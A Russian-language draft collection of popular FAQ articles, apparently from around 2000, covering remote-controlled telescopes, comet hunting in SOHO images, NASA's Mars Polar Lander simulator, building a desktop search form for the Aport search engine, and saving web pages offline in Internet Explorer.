Например, если навести его на Юпитер, – на диске этой планеты удастся заметить огромное множество разнообразных деталей, - в основном облачных образований, переплетающихся меж собой самым причудливым образом. И совсем нетрудно будет различить знаменитое Красное Пятно – огромный циклон на Юпитере, существующий уже на протяжении сотен земных лет и все никак не "рассасывающийся". На снимках, напечатанных в популярных книжках, это пятно кажется неживым, заставшим и неподвижным. Между тем оно достаточно быстро вращается и постоянно меняет свой облик. Хотите все это увидеть своими глазами? Посетите любой вышеназванный телескоп или выберете какой-нибудь другой, по своему вкусу. В этом поможет любой поисковик, стоит только ему отдать запрос "телескопы+управляемые+Internet" или что-то в этом роде.

Конечно, изображения на экране компьютера сильно уступают "живой" действительности, – самостоятельным наблюдениям в бинокль или телескоп, но зато оставляют позади все "мертвые" фотографии, поскольку телескопы, управляемые через Интернет, показывают выбранный вами объект таким, каким он выглядит сейчас, вы так же вольны варьировать время экспозиции, используемые светофильтры и некоторые другие параметры, понятные лишь посвященным. Если на мгновение забыть о том, где находится Санта-Барбара, то можно вообразить, что вы снимаете небо своей любимой цифровой мыльницей, а потом рассматриваете полученный снимок на экране компьютера. Вы Теперь вы не пассивный зритель, восторгающийся чужой фотографией, сделанной безо всякого участия с вашей стороны, а сам фотограф, творящий все, что ему заблагорассудится.

>>>>>Врезка 1:

Раз уж речь зашла про цифровые камеры, то давайте вспомним ту рекламу, где описываютсяописывающую преимущества камеры с увеличением в четыреста и более раз. Так знайте: вам вешают лапшу на уши. Такого увеличения просто не может быть, ибо есть такая штука как фундаментальные физические законы, которым никакая реклама не указ.

Если углубиться в теорию оптики, можно узнать, что предельное увеличение, которое может давать идеальный объектив равно его диаметру, выраженному в миллиметрах. Причина заключается в дифракции света (нет, не подумайте, это не ругательство, это термин такой), которая приводит к тому, что любая точка выглядит в объектив не точкой, а системой концентрических окружностей, основная доля света в которой приходится на центральную часть, именуемую у оптиков кружком Эри. Так, вот, при увеличении равному диаметру объектива в миллиметрах, у двух соседних точек кружки Эри соприкасаются друг с другом. Дальнейшее увеличение ведет к их перекрытию. Впрочем, два кружка, перекрывающиеся не более чем на 70% все же различимы, поэтому, самое крайнее разумное увеличение равно 1.7 диаметров объектива, в противном случае – соседние точки сливаются, и дальнейший рост увеличения не добавляет никаких новых деталей.

Отсюда вытекает, чтобы камера давала четырехсот кратное увеличение, диаметр ее объектива должен быть, по крайней мере, 20 – 30 см. Тогда, это не камера получится, а самый настоящий телескоп, причем солидных размеров!

Действительно, если "клюнуть" на рекламу и приобрести такую камеру можно убедиться, что полученные ею изображения состоят не из точек, а… квадратиков!

>>>>>Врезка 2:

Прежде чем, приступать к наблюдениям, недурно бы сперва выбрать сам объект наблюдений. Большинство из нас смутно помнит, что где-то там, на небе находятся планеты – Марс, Юпитер, Сатурн, шумной компанией вращается множество астероидов, а иногда пролетают такие экзотические объекты, как кометы. Но где все они находятся в какой-то конкретный момент времени? Т.е. каковы их астрономические координаты, которые и ждет от вас телескоп?

Узнать это помогут астрономические сайты, например, , в котором все такие сведения расположены за ссылкой "календарь", а в разделе новостей сообщается обо всех интересных событиях, происходящих на небе.

Родственные вопросы:

Поймай мечту за хвост!

А:Поймай мечту за хвост!

Хотите, не покидая любимого кресла, увековечить свое имя, принести пользу науке и заглянуть за край обыденного? Все что вам потребуется - компьютер средней конфигурации и Интернет любой степени тормознутости, плюс немного терпения (хотя бы дней на сто), словом, ничего экзотического.

Среди прочего космического мусора, вращающегося над нашими головами, в полутора миллионах километрах над Землей парит внеатмосферная солнечная обсерватория SOHO (Solar and Hemispheric Observatory). Через определенные промежутки времени она фотографирует Солнце, а полученные снимки автоматически выкладываются на сайт http://sohowww.estec.esa.nl/data/realtime-images.html

Фактически это настоящая "живая камера", позволяющая заглянуть за кулисы нашего светила. Многие даже не подозревают на какие причудливые переплетения плазмы и газа способна природа. Непрекращающиеся активные процессы – вспышки, факелы, протуберанцы не только любопытны с познавательной точки зрения, но и красивы.

При наличии постоянного Интернет-соединения оригинальным украшением рабочего стола может стать автоматически обновляемое изображение Солнца, заменяющее традиционный хранитель экрана. Такую программу (под Макинтош и Windows 9x\Windows NT) с сервера NASA можно скачать абсолютно бесплатно, обратившись по адресу: http://sohowww.estec.esa.nl/whatsnew/screensaver.html.

Но наблюдения Солнца, сияющего на экране монитора, могут носить не только праздный характер. Их визуальный (да, да, именно визуальный, а не компьютерный!) анализ способен принести существенную пользу науке и увековечить ваше имя. Речь идет о "ловле комет". Некоторые "хвостатые странницы" так близко подлетают к нашему светилу, что попадают в поле зрения широкоугольного коронографа SOHO и оставляют свой след на фотоснимках. По некоторым причинам NASA не ведет их компьютерного поиска, оставляя эту затею на откуп любителям.

Между тем, открытие новой кометы – всегда событие, пускай, из ряда вон не выходящее, но имеющее далеко идущее последствия. Открывателю автоматически присуждается право окрестить "туманную звездочку" собственным именем (или псевдонимом), об открывателе тотчас узнают все астрономы мира, а изучение орбит комет позволяет пролить свет на многие загадки природы, в том числе приоткрывает занавесу тайны происхождения нашей Солнечной системы, а, значит, и нас с вами.

Сотни любителей всего мира систематически просматривают полученные SOHO изображения, и самые настойчивые открывают новую комету в среднем за сто-сто пятьдесят дней наблюдений. "Ловля" комет в чем-то похожа на обычную рыбалку – тесное переплетение удачи и мастерства, разочарований, азарта и моментов непередаваемого чувства вселенского удовлетворения. Это особый вид спорта, сочетающий коллективное братство (а астрономы, как, впрочем, и рыболовы, на удивление дружные ребята) с ролью индивидуальной личности.

Хотите и вы попробовать? Тогда заходите на сайт http://sungrazer.nascom.nasa.gov/ и подключайтесь к проекту. Значение английского языка необязательно (хотя, горячо приветствуется) – вся необходимая информация в сжатом виде изложена ниже. Начать посвящение будущих ловцов комет, вероятно, следует с описания самого спутника SOHO. Помимо прочей аппаратуры (не имеющий никакого отношения к поиску комет), его создатели оснастили космическую обсерваторию двумя коронографами, получившими условные обозначения С2 и С3.

Рисунок 43 ??? Рис с2.jpg Вид Солнца в коронограф C2

Рисунок 44 ??? Рис с3.jpg Вид Солнца в коронограф C3

Как и следует из названия, "коронограф" предназначается для наблюдений за солнечной короной. Невооруженным глазом ее можно наблюдать только во времена полных солнечных затмений, поскольку яркость короны в десятки тысяч раз меньше яркости слепящего диска фотосферы (видимой поверхности Солнца) и тонет в его лучах. Но если расположить перед объективом телескопа непрозрачный кружок, закрывающий солнце, то, тщательно подобрав его размер, можно добиться "искусственного затмения". (Конечно, в действительности коронограф устроен немного сложнее, но для работы с ним значение технических подробностей его работы необязательно).

Поле зрения коронографа С3 равно 6 градусам (видимый диаметр солнечного диска в двенадцать раз меньше), что всего лишь вдвое меньше орбиты Меркурия. Большинство комет двигаются по орбите настолько быстро, что "пролетают" это расстояние менее чем за двенадцать часов! Эх, совсем немного времени отпущено на поимку новой кометы! (Поле зрения коронографа "С2" всего лишь 3 градуса, поэтому, вероятность открытия кометы с его помощью существенно меньше).

Чем отличается комета от звезд? Нет, вовсе не хвостом (который заметен лишь у немногочисленных крупных комет), а… движением. Если сравнить между собой два снимка, полученные с некоторым интервалом, то настоящие звезды (за исключением, Солнца, конечно) не изменят своего взаимного расположения, а комета ощутимо "сдвинется" относительно окружающих ее звезд. Часто (но не всегда) кометы выглядят не точечными звездочками, а размытыми туманными пятнышками, размеры которых постепенно растут по мере приближения кометы к Солнцу.

Это минимально необходимая для "кометной рыбалки" информация, поэтому, заинтригованным читателям одна дорога – в библиотеку (или астрономический институт имени Штейнберга – ГАИШ), а может быть, даже в Московский Астроклуб (электронный адрес председателя andos@), где им помогут удовлетворить любопытности и разъяснят остальные подробности.

Напоследок несколько полезных советов для начинающих. В первую очередь следует предостеречь читателей от соблазна использовать изображения с низким разрешением, - на них кометы попросту не видны. Лучше всего для анализа подходят снимки 1024x1024, хотя опытные "охотники" с некоторой натяжкой могут обходиться и вдвое меньшим разрешением. Но изображения худшего качества уже ни на что не годны.

Второе, – обнаружив нечто похожее на комету, не спешите уведомлять о своем открытии,– сначала убедитесь, что это не ошибка. Для проверки рекомендуется скачать с сайта по крайней мере четыре последовательных снимка и проследить по ним путь объекта, принятого за комету. Если перемещение подтвердится, – сообщите об этом координатору проекта Дугласу Биесекеру по адресу doug@sungrazer.nascom.nasa.gov.

Форма сообщения – произвольная, (письма обрабатывает живой человек, а не машина), но должна в себя включать:

а) инструмент (т.е. какой именно коронограф использовался C2 или C3);

б) дату и всемирное время, когда был получен снимок (внимание, не путайте это со временем, когда вы обнаружили комету);

в) координаты кометы на каждом из четырех снимков (координаты центра кометы измеряются в пикселах, отсчитываемых от любого из углов фотографии и записываются в формате XxY, например, так: 666x999);

г) какой угол использовался для отсчета координат.

Вот и все! Удачной вам охоты!

A: Симулятор от… NASA

Больше всего в сегодняшних американцах мне нравится их открытость. "Свобода слова и печати" для них не пустой звук. И правда, не успеет иной космический телескоп сделать очередной снимок, как тот уже доступен на сайте NASA (www.nasa.gov). В качественной, неискаженной форме, пригодный не только для восторженных восхищении ("смотри-ка яка красива гарна галактика!" {>>>>> сноска /hst/96-29a.html}), но и научных целей. Есть желание посмотреть взрыв «Челленджера»? Нет проблем, скачивайте mpeg с ftp сервера NASA {>>>> сноска Этот же файл можно утянуть и с быстрого томского сервера /video/51-l-launcH3.mpg} или закажите CD диск!

В свете этого предоставление публичной версии симулятора космического аппарата Mars Polar Lander (обломки которого ныне покоятся среди дюн Марса) удивления не вызывает. NASA свободно раздает фрагменты кода, который предназначался для реального управления аппаратом.

Впрочем, как научная, так и стратегическая ценности симулятора сомнительны. Зато познавательная несомненна. Одно дело - летать на точной копии реактивного истребителя (которым сегодня никого не удивишь), совсем другое - окунуться в атмосферу центра управления космическими полетами. Почувствовать себя на секунду настоящим испытателем. Бесспорно, это уникальная игрушка, аналогов которой назвать невозможно.

Немало азарта добавляет практически полное отсутствие документации (что не характерно для NASA). Обладая далеко не визуальным интерфейсом (нечто вроде макроязыка) симулятор становится хорошей головоломкой для взрослых (или детей, настойчиво перебирающих все возможные комбинации).

Найти его можно на официальном сайте Mars Polar Lander (http://mars.jpl.nasa.gov/msp98/index.html) для чего следует кликнуть по ссылке "Command your own Polar Lander" – Управляйте вашим собственным Mars Polar Lander-ом, /mplwits которая вскоре приведет нас к заветной "Download Page".

Выясняется, что симулятор написан на Java и, кроме, собственно, самого симулятора необходимо установить Java Runtime Environment (5.2 мегабайта) и Java 3D (1.8 мегабайт). К слову сказать, оба компонента не являются собственностью NASA и достаточно широко распространены, чтобы их было можно найти в ближайшем ларьке, торгующим компакт-дисками известного происхождения.

Если же пиратство претит вашим пуританским взглядам (а почему бы и нет?), то можно скачать эти компоненты с любого из десятка серверов, заботливо предлагаемых NASA. Лично у меня самым быстрым оказался далеко не ближний Японский сервер.

Сам же симулятор находится на единственном сервере NASA и отдается на растерзание только после заполнения удивительно короткой регистрационной формы. Скачивать лучше всего в дневные часы, - ночью (то есть американским днем) сервер очень часто оказывается перегруженным и выдает байты каплями - в час по чайной ложке.

Пока мегабайты падают на наши жесткие диски, полезно ознакомится с необычайно коротким и лаконичным руководством пользователя (спасибо, что хоть такое дали). Оказывается, что публичная версия немного отличается от оригинальной. Впрочем, различия для большинства пользователей окажутся некритичны.

Так, например, подлинные команды миссии удалены и заменены эквивалентными. Именно так, во всяком случае, утверждает NASA, вероятно, полагая, что эквивалентность не влечет за собой идентичность (иначе, зачем же тогда их было заменять?)

Аналогично, подлинная кинематика движения руки-манипулятора робота удерживается в секрете –"arm kinematics were removed and replaced by equivalent kinematics" - NASA не хочет расставаться с секретами конструктивных особенностей своего аппарата.

Если эти два отличия средне взятому обывателю сугубо "фиолетовы", то вот упрощение рельефной трехмерной поверхности Марса до невыразительной плоскости бурого цвета огорчит кого угодно. Впрочем, это ограничение связано с недостаточной мощностью бытовых "персоналок" для подобных расчетов, а вовсе не повышенной секретностью.

К счастью, сам объект симуляции изображен трехмерно с детальной проработкой всех узлов в отдельном окне, позволяющим произвольно менять позицию наблюдателя – при желании можно рассматривать аппарат хоть снизу-вверх (кстати, в таком положении его узлы видны наиболее отчетливо)!

Рисунок 45 3.jpg Внешний вид Mars Polar Lander

Рисунок 46 2.jpg Изображения телекамер

Рядом показан небольшой детализированный фрагмент поверхности Марса (сектор с углом охвата градусов эдак пятнадцать). О полной же, круговой, панораме приходится только мечтать. Или в очередной раз лезть в Интернет, за недостающими изображениями (/mplwits/).

Впрочем, большинство пользователей будут больше озабочены головной болью, как же стронуть эту "радость" с места. Ничего похожего на рычаги управления и педали скоростей как-то не наблюдается.

Ругнувшись еще раз на отсутствие документации (это же надо, что бы вот так, несерьезно!) отправимся на сайт NASA почитать описание оригинального аппарата (http://mars.jpl.nasa.gov/msp98/images/landingsite1.html).

Выясняется, что Mars Polar Lander вовсе не "марсоход", а, скорее, "марсостой" - стационарная, неподвижная станция, снабженная лишь рукой-манипулятором, практически единственным, чем можно с помощью симулятора управлять.

"Практически" - за исключением камеры, которая и передает видимую панораму. Кроме движений самой камеры, симулятор позволяет поиздеваться над "снимаемыми" изображениями – уменьшать или увеличивать яркость, повышать контраст, даже обрабатывать специальными фильтрами для подчеркивания мельчайших деталей рельефа.

Впрочем, возня с графикой быстро надоедает (уж лучше заглянуть в PhotoShop – там набор фильтров намного богаче). Куда интереснее почувствовать в своих руках манипулятор далекого космического агрегата.

Впрочем, "в руках" сказано слишком громко. Все управление реализовано на макроязыке, описание которого напрочь отсутствует, и все что есть - пара примеров программ, доступных для изучения.

Для их запуска необходимо выбрать в меню "Windows" главного окна пункт "Sequence Execution Window" и в появившимся окне кликнуть по кнопочке "Batch". Тут же трехмерное изображение агрегата оживет, придет в движение, сопровождаемое трассировкой (то есть отслеживанием) текущих выполняемых команд.

Играбельный момент всей этой сцены был бы сомнителен, если бы программа ни имитировала реальные (то есть, как мы помним не подлинные, но все же аналогичные) действия взаправду существующего космического аппарата.

До этого момента игроки могли сидеть лишь в кабинах вымышленных космических кораблей. Пусть и красочно нарисованных, но не существующих в природе. Единицы жителей планеты Земля могут похвастаться тем, что сидели за рулем настоящего "марсохода". Сегодня дверь в Тайну приоткрыта. Посмотрим, что будет дальше. Может быть и впрямь, завтра появится возможность управлять реальным марсоходом через Интернет…

Врезка 1

Обменяться своими впечатлениями и поделиться опытом управления симулятором можно на канале IRC, доступном и через WEB-интерфейс (/). Там же можно задать вопросы разработчикам проекта (не то что бы часто, но они там появляются).

Разумеется, диалог ведется на английском языке, что огорчит многих российских пользователей. Но каких - либо русскоязычных источников в Интернете по этой тематике мне найти не удалось.

Среди англоязычных серверов самые большие информационные залежи находятся на Mars Operations Support System (MOSS) - /, а обо всех новостях и обновлениях симулятора можно узнать на страничке /mplwits/news.htm.

Врезка 2

Официальное название симулятора Mars Polar Lander - WITS, что расшифровывается как Web Interface for Telescience. Именно это нужно набирать в строке запроса поисковых серверов, что бы найти хотя бы крупицы информации в бескрайнем океане сети.

Однако в тексте статьи для улучшения восприятия будет использован термин "симулятор", который лучше передает суть предмета разговора.

P.S. Автор ищет контактов с любителями астрономии, - пишите мне на kk@

A: Как ускорить загрузку стартовой страницы поискового сервера, например, ?

Чем плохи поисковые сервера? Не в последнею очередь перегруженностью стартовой страницы - прежде чем окунуться в дремучую чащу запутанных ссылок приходится утомительно сидеть-дожидаться загрузки кучи совершенно не интересной на данный момент информации – баннеров, прогноза погоды, курсов валют, политических новостей и т.д. и т.п.

У "Апорта" стартовая страница, правда, не самая большая, и, в общем-то, не сильно злоупотребляющая банерами, но все же реклама раздражает, особенно на медленных каналах даже такая реклама очень сильно раздражает.

К тому же комфортным поиск ну никак не назовешь. Приходится постоянно прокручивать экран, чтобы отыскать форму ввода, и с досадой обнаруживать, что условия поиска в ней напрочь отсутствуют. А когда ищется что-то вроде ("Кремниевая долина" + история - архив - обозреватель) всякий раз вводить это заново через чур утомительно.

Тем более, какой им бы ни был хорошим "Апорт" ни хороший, – требуемого документа он может и не найти. Тогда Вот и придется отправляться восвояси к другому поисковику…, а то еще и не к одному сразу.

И это на пороге нового тысячелетия? А где же автоматизация человеческого труда? Компьютер, если вспомнить, был на то и придуман, чтобы решать проблемы, а не создавать новые. Словом, текущее положение вещей нам не нравится, и мы, не дожидаясь милости от далеких забугорных фирм, хотим обеспечить свой комфорт самостоятельно.

Что нам для этого нужно? Всего лишь найти механизм взаимодействия с поисковой системой, и использовать его напрямую, минуя всякие там web-странички. Например, интегрировать поисковик с нашим "Рабочим Столом". А что? Неплохая идея - вот ей сейчас и займемся.

Было бы очень удобно, если бы в уголке рабочего стола сидела простая формочка, в которую стоит только ввести нужный фрагмент, а уж она сама облазит все сайты, обойдет и Черта и Бога, но нужный документ нам найдет.

Вообще-то это тривиальная задача, которую автор решил едва ли не в первые дни после подключения к Интернету. Каково же было его удивление, когда оказалось, что до такой простой штуки додумывались далеко не все его знакомые! Ну, что, приступим?

Немного теории для начала. Гипертекст, в его привычном для нас HTML-ом виде, искать ничего искать не способен. Там просто нет таких функций! Даже Java и VisualBASIC не помощники в таких операциях, поскольку Java-апплеты исполняются на вашей локальной машине и если бы они затребовали всю много гигабайтную базу поисковика, - конец света наступил бы раньше, чем она приползла по хлипкому диалапному соединению.

Поэтому, программу поиска приходится запускать на удаленной машине – самом поисковом сервере. В общих чертах запуск выглядит приблизительно так: http://ИмяХоста/ИмяСкрипта?параметры. Чтобы вызвать скрипт "напрямую" требуется всего лишь узнать имя скрипта и формат передачи параметров. Как это сделать?

Да очень просто! Стоит только дождаться окончания загрузки главной страницы "Апорта" (или другого поискового сервера) и в меню "Вид" выбирать пункт "В виде HTML". Остается лишь проанализировать HTML-код и найти место, в котором и происходит вызов скрипта с передачей параметров поиска.

Непосвященным в тонкости программирования гипертекста скажу, что в большинстве случаев для этого достаточно найти следующую последовательность "<form action=" Она, конечно, не единственно возможный вариант, но весьма популярный среди разработчиков, так что этот прием срабатывает достаточно часто.

Вот, смотрите, сработало и на этот раз!

<table border=0 cellpadding=0 cellspacing=0 width=700>

<form action=/search.asp method=get name=form1>

Ага, чтобы обратиться к поисковому механизму напрямую, достаточно вызвать "search.asp" и передать ему в качестве параметра требуемые критерии поиска.

Например, попробуем найти всю доступную информацию о фирме Microsoft. Наберем для этого в строке браузера следующее: "/search.asp?r=Microsoft", – пройдет совсем-совем немного времени и "Апорт", подумав, выдаст следующее:

Апорт нашел 1000 документов на 341 сайте

по запросу: Microsoft

Неплохо для начала, не так ли? Мы не только сэкономили чуточку времени, но и получили возможность без труда встраивать вызовы поискового механизма в свои странички. Как вам понравится следующее:

<BR>

<B>Интернет Кракер </B> вы можете скачать

<a href="/search.asp?r=InterCrk"> здесь</a>

Точно так же можно обращаться и к другим поисковым серверам, а не только к одному "Апорту". Кстати, формат вызова скриптов с других поисковиков можно узнать на странице того же "Апорта".

Поисковик

URL скрипта

АльтаВиста

/cgi-bin/query

Yahoo!

/bin/search

Lycos

/cgi-bin/pursuit

Infoseek

/Titles

HotBot

MSN

/results.asp

Таблица 4 путь к поисковым механизмам некоторых наиболее популярных поисковых серверов

Теперь покажем как поместить форму вызова "Апорта" на ваш "Рабочий Стол", – что бы не отрываясь от текущего положения дел, было бы можно просто ткнуть мышью в угол экрана, и быстро набить запрос, не отвлекаясь на всякие мелочи.

Вообще-то можно сохранить страницу "Апорта" на диске (см. "Как сохранить WEB-страницу на диск для ее просмотра в Off-Line?") и без мучений перетянуть ее на "Рабочий Стол", с чем пятый Эксплорер справляется за раз. Да только вот страничка от "Апорта" (и остальных поисковиков) слишком громоздкая {<<<<УБРАТЬ 'm'} и на экране ее разместить ну никак не удастся.

Хорошо, уберем все лишнее, оставив лишь поле ввода и кнопку "Поиск". Должно получиться нечто вроде следующего:

Aport.htm

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">

<meta name="GENERATOR" content="KPNC's Forth to HTM converter">

<title>АПОРТ:</title>

</head>

<body bgcolor="#FFFFFF" text="#000000"

link="#000099" vlink="#666699"

alink="#0000FF" topmargin="0">

<form action=/search.asp method="get" name="form1">

<input type="text" size="40" name="r">

<input type="submit" value="Search" border="0">

</form>

</body>

</html>

На этом собственно и все. Остается только добавить на рабочий стол, "ЭкранСвойстваИнтернетСоздатьAport.htm" и она тут же появиться на нем!

Рисунок 47 Рис. image95 "Сырая" форма для поиска на активном Рабочем Столе

Изменим размеры формы, одновременно с этим растягивая ее в ширину. А после отбуксируем в любое место экрана по своему вкусу, так, что бы получилось нечто похожее на следующее:

Рисунок 48 Рис Image96 Окончательный вид формы для поиска на активном Рабочем Столе

Для проверки наберем критерий поиска, клацнем по кнопке "Search" и нажмем <Enter>. Если все было сделано правильно, то тут же откроется новое окно браузера и "Апорт" вывалит в него результаты поиска.

Заметим, что при этом критерии поиска не исчезли из нашей формы. И не потребуется никакого труда их изменить, например, следующим образом "Microsoft + "Билл Гейтс""

Просто? Удобно? А теперь попробуйте сделать так, что бы "Апорт" не открывал нового окна, выдавал ответ в специально отведенное для него место экрана.

Уверяю, что это доставит немалое удовольствие, да и комфорт работы повысит тоже. Активный рабочий стол это действительно революционное изобретение Microsoft., в чем вы еще не раз убедитесь.

Фактически вы можете самостоятельно спроектировать и создать среду общения, рассчитанную на ваши привычки и вкусы.

Например, выданный "Апортом" ответ можно дополнительно пропустить через Java скрипт или VBASIC скрипт, можно запоминать и кешировать предыдущие ответы "Апорта", да мало ли, что может вам взбрести в голову!

Так у автора работает бесхитростный скрипт, который по ключевым словам "живая камера" каждый раз ищет что-нибудь новое и случайным образом выводит одну из них в угол экрана. Вроде бы мелочь, а как умеет поднять настроение!

Родственные вопросы:

Как сохранить WEB-страницу на диск для ее просмотра в Off-Line? (следующий)

Q:Как сохранить WEB-страницу на диск для ее просмотра в Off-Line?

Вообще-то, Исторически сложилось так, что web рассчитан именно на on-line просмотра с сервера, ноа не локального диска. С сохранением дела обстоят очень туго, тем более что такое действие потенциально способно нарушить авторские права владельцев сайта и ведущие производители очень осторожно подходят к этому вопросу, сильно ограничивая свободу пользователя.

Метод локального кэша

Большинство браузеров поддерживают кэширование страниц т.е. сохраняет их содержимое во временных файлах для ускорения последующих обращений. До тех пор пока кэш не будет затерт новыми поступлениями, ранее загруженные страницы можно смотреть и без подключения к Интернету. В Internet Explorer-e для этого достаточно установить галочку напротив пункта "Работать автономно" в меню "Файл". Разумно увеличить размер кэша, чтобы избежать его скорого затирания. Он задается ползунком "Папка временных файлов Интернета: занимать на диске не более" ("Сервис"  "Свойства обозревателя"  "Временные файлы Интернета" "Настройка"). Оптимальное значение лежит в пределах 300 – 500 мегабайт, только помните, что в действительности потребуется гораздо больше места, особенно на FAT16, т.к. web-страницы содержат огромное количество мелких файлов, а каждый файл независимо от своего размера занимает, по крайней мере, один кластер диска.

Разумеется, кэш – крайне ненадежное место хранения для ценных web-страниц, кроме того, как быть, если потребуется сохранить страницу на дискету или передать другу, у которого вообще нет Интернет?

Если временные файлы записываются "как есть", без всяких там поползновений, их можно без труда "выдернуть" из кэша и сохранить отдельно (см. "Где Internet Explorer хранит автономные страницы?"). Единственная проблема - определить какие именно файлы среди сотен, а то и тысяч остальных следует сохранять.

Первым делом необходимо найти саму страницу – как правило, ее имя совпадает с именем htm файла в URL. Т.е. если ссылка на страницу выглядела как "http://mysite/nasa/hubble.htm", то в кэше следует искать файл hubble.htm. У Internet Explorer есть одна особенность – во избежание затирания одноименных файлов, к концу имени каждого из них он дописывает порядковый номер, заключенный в угловые скобки (типа nubble[666].htm), поэтому, правильный шаблон для поиска должен выглядеть так: "Имя файла*.расшрение", например, "Hubble*.htm".

Теперь перейдет к собиранию картинок. Чтобы определить их имена, откройте html-странницу в любом подходящем текстовом редакторе, например, "Блокноте" и задайте поиск тегов "IMG". В общем виде тег должен выглядеть так: "<IMG SRC="image/rose.jpg">". Выражение, стоящее права от "SRC", как не трудно догадаться, и содержит искомое имя файла. Ищем его в кэше и "выдираем". Один тонкий момент – куда этот файл сохранить. Если его поместить в одну директорию с самой html-страницей, он отображаться не будет! Ведь "SRC" указывает браузеру, что картина расположена в директории "image"! Значит, необходимо создать директорию "image" в том же каталоге, в котором лежит страница, и поместить в нее злополучный файл. Еще одна тонкость – если путь выглядит как "../image/pic/mimose.fig", это означает, что директория image располагается на один уровень выше чем та, в которой лежит html-страница. Т.е. древо каталогов должно выглядеть так:

MyDir

├──dir_for_html

│ └──hubble.htm

└──image

└──pic

└──mimose.jpg

Если путь "SRC" начинается с указания протокола (например, SRC="http://mysite.com/image/ngc1976.gif"), необходимо текстовым редактором вырезать все лишнее – т.е. все кроме имени файла, иначе браузер будет обращаться не к локальному файлу, а попытаться получить его из Интернета.

Раз уж мы начали резать, то имеет смысл оттяпать от всех картинок полные пути, оставив только имена файлов (например, было "../image/pic/mimose.fig" стало "mimose.fig") – это избавит от необходимости воссоздавать оригинальную структуру каталогов сервера и позволит валить все файлы в одну директорию.

Единственная проблема заключается в том, что не всегда ясно какой из нескольких файлов следует "выдирать" из кэша. Скажем, требуется заполучать pic.jpg, а в кэше содержится добрый десяток файлов с такими именами – pic[1].jpg, pic[2],jpg, pic[3],jpg и т.д. Можно попробовать, поочередно открывая их, попробовать определить какой из них какой – визуально, по смыслу. Однако это удается далеко не всегда. К тому же описанный метод достаточно трудоемок и долог. Может, есть что попроще?

Метод ручной работы

После завершения загрузки страницы выберите в меню "Вид" пункт "Просмотр в виде HTML". Откроется редактор "Блокнот", содержащий исходный HTML-код web-странички. Сохраните его на диск.

Однако, HTML-код, это только текст, а картинки, как это ни прискорбно, придется сохранять вручную – щелкая по каждой картинке правым мышем и выбирая в контекстном меню пункт "Сохранить на диск". Возможно, даже скорее всего, при этом придется воссоздавать оригинальную структуру директорий сервера или же вносить изменения непосредственно в сохраненный HTML-код (см. "Метод локального кэша").

Если картинок много, работа рискует затянуться надолго, очень надолго. Это несколько лучше, чем ковыряться в мусорной яме кэша, но ненамного. Причем, если страница разделена на несколько фреймов – т.е. независимо отображаемых областей, – сохранять их придется по отдельности, кликая по экрану в границах каждого фрейма правой клавишей мыша и выбирая пункт "Просмотр в виде HTML".

Метод Save As

Еще ранние версии Internet Explorer имели в меню "Файл" пункт "Сохранить", однако, они сохраняли не все содержимое страницы, а один лишь текст, лишенный графики. Такое положение дел, очевидно, не могло устроить пользователей и в последних версиях разработчики пошли на уступки, научив браузер полностью сохранять страницу на диск.

Пятая версия Internet Explorer в диалоговом окне "Сохранить как…" позволяет выбирать следующие типы файлов:

  • Web-страница полностью (html)

  • Web-архив один файл (mht)

  • Web-страница только HTML

  • Текстовой файл (*.txt)

Два последних пункта особого интереса не представляют, но вот на первых двух имеет смысл остановиться подробнее. Выбор "Web-страница полностью (html)" приводит к сохранению каждого элемента страницы в отдельном файле, помещаемого в автоматически создаваемую папку, совпадающую по имени с сохраняемой страницей, но имеющую расширение "files". То есть, при сохранении страницы "Тушканчики средней полосы" HTML-текст будет помещен в файл "Тушканчики средней полосы.htm", а все картинки – в папку "Тушканчики средней полосы.files".

Чтобы просмотреть сохраненную страницу необходимо дважды кликнуть по htm-файлу, а чтобы перенести ее на другой компьютер, необходимо скопировать и сам htm-файл, и соответствующую ему папку с расширением files. Неправда ли, довольно неудобно? К тому же множество мелких файлов интенсивно пожирают дисковое пространство.

Поэтому, лучше сохранять страницы в виде одного mht-файла. Он удобен в обращении и не захламляет диск лишними каталогами. Но – требует для своего просмотра наличия Outlook Express 5.x или выше (если передаете такой файл товарищу – убедитесь, что он сможет его прочитать).

После сохранения страницы обязательно проверьте, сохранилась ли в действительности она или нет. Просто запустите новую копию браузера или в меню "Файл" выберите пункт "Создать""Окно" и откройте только что записанный на диск HTML- или MHT-файл. По непонятной причине Internet Explorer частенько "скручивает дулю" – не сохраняет страницы, оставляя их пустыми. Причем, повторные попытки сохранения никаких результатов не дают!

Что делать? Попробуйте испытать какой-нибудь другой метод….

Метод Select All

Вероятно, самый универсальный метод всех времен и народов – это буфер обмена. Выберите в меню "Правка" пункт "Выделить все" или нажмите <Ctrl-A>, а затем вставьте скопированный фрагмент в документ Microsoft Word 2000 и сохраните его либо как html- либо как doc-файл – по своему вкусу.

Использование Get Right

Утилита докачки GetRight (не путать с ReGet) умет скачивать web-страницы со всеми картинками, содержащимися в них, помещая каждую из них в отдельный файл. Поклонникам GetRight этот способ должен показаться самым удобным, несмотря на некоторые (впрочем, не смертельные) глюки, присущие GetRight-у. В частности, большую загрузку процессора анимацией и ошибки разбора HTML-кода – некоторые картинки не скачиваются вовсе, некоторые скачиваются дважды.

Родственные вопросы:

Что такое mht (mhtml) файлы и зачем они нужны? (следующий)

Где Internet Explorer хранит автономные страницы?

Q: Что такое mht (mhtml) файлы и зачем они нужны?

Аббревиатура mhtml расшифровывается как MIME HTML – т.е. гипертекстовой файл в формате MIME. (см. "Секреты почты Что такое MIME"). В одном-единственном MIME-файле можно сохранить всю web-страницу целиком: и текст, и рисунки, и музыку (если она там есть). Для этого необходимо в меню "Файл" Internet Explorer-a выбрать пункт "Сохранить как…", указав тип файла "Web-архив".

Гораздо предпочтительнее хранить текст и рисунки в одной "упаковке", а не держать их во множестве отдельных файлов (см. "Как сохранить WEB-страницу на диск для ее просмотра в Off-Line?")

Родственные вопросы:

Секреты почты  Что такое MIME

Как сохранить WEB-страницу на диск для ее просмотра в Off-Line?

Q: У меня стоит Internet Explorer 5.0, но я не могу открыть mht файл. Почему?

Для работы с mht файлами достаточно иметь Internet Explorer четвертой версии или выше. Весь фокус в том, что mht файлы являются "собственностью" Outlook Express 5.0 и если он не был установлен, Internet Explorer не будет поддерживать mht файлы– он не сможет ни открыть их, ни сохранить страницу Web-страницу в формате MIME (см "Что такое mht файлы и зачем они нужны?", "Как сохранить WEB-страницу на диск для ее просмотра в Off-Line?").

Установка Outlook Express 5.0 или выше должна решить эту проблему.

Родственные вопросы:

Что такое mht файлы и зачем они нужны?

